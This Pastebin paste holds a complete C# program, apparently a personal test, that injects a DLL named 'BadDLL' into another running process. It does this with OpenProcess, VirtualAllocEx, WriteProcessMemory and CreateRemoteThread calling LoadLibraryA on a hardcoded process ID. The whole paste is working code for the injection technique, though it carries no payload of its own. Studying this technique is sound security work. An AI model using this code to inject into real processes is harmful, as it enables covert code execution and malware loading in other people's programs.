Coder666

DLL Injection Test C#

Oct 22nd, 2022
67
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 3.13 KB | Source Code | 0 0
  1. //
  2. // DllInjectionTest.cs
  3. //
  4. /////////////////////
  5.  
  6. using System;
  7. using System.Diagnostics;
  8. using System.IO;
  9. using System.Runtime.InteropServices;
  10. using System.Text;
  11.  
  12. namespace DLLInjectionTestCS
  13. {
  14.     class Program
  15.     {
  16.         [DllImport("kernel32.dll")]
  17.         public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
  18.         [DllImport("kernel32.dll", CharSet = CharSet.Auto)]
  19.         public static extern IntPtr GetModuleHandle(string lpModuleName);
  20.         [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
  21.         static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
  22.         [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
  23.         static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress,
  24.             uint dwSize, uint flAllocationType, uint flProtect);
  25.         [DllImport("kernel32.dll", SetLastError = true)]
  26.         static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);
  27.         [DllImport("kernel32.dll")]
  28.         static extern IntPtr CreateRemoteThread(IntPtr hProcess,
  29.             IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
  30.  
  31.         // privileges for OpenProcess
  32.         const int PROCESS_CREATE_THREAD = 0x0002;
  33.         const int PROCESS_QUERY_INFORMATION = 0x0400;
  34.         const int PROCESS_VM_OPERATION = 0x0008;
  35.         const int PROCESS_VM_WRITE = 0x0020;
  36.         const int PROCESS_VM_READ = 0x0010;
  37.  
  38.         // used for VirtualAllocEx
  39.         const uint MEM_COMMIT = 0x00001000;
  40.         const uint MEM_RESERVE = 0x00002000;
  41.         const uint PAGE_READWRITE = 4;
  42.  
  43.  
  44.         static int Main()
  45.         {
  46.            Process targetProcess = Process.GetProcessById(20072); // You just enter the process ID, manually.
  47.           //Process targetProcess = Process.GetProcessById(12428); // You just enter the process ID, manually.
  48.  
  49.             string myBadDLL = "\\work\\DLLInjection\\BadDLL\\x64\\Debug\\BadDLL.dll"; //x64
  50.             //string myBadDLL = "\\work\\DLLInjection\\BadDLL\\Debug\\BadDLL.dll"; //x32
  51.  
  52.             if (!(File.Exists(myBadDLL)))
  53.                 return -1;
  54.  
  55.             IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, targetProcess.Id);
  56.             IntPtr loadLibraryAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
  57.             IntPtr allocMemAddress = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)((myBadDLL.Length + 1) * Marshal.SizeOf(typeof(char))), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  58.             UIntPtr bytesWritten;
  59.             WriteProcessMemory(procHandle, allocMemAddress, Encoding.Default.GetBytes(myBadDLL), (uint)((myBadDLL.Length + 1) * Marshal.SizeOf(typeof(char))), out bytesWritten);
  60.             CreateRemoteThread(procHandle, IntPtr.Zero, 0, loadLibraryAddr, allocMemAddress, 0, IntPtr.Zero);
  61.  
  62.             return 0;
  63.         }
  64.     }
  65. }
  66.  
Advertisement
Add Comment
Please, Sign In to add comment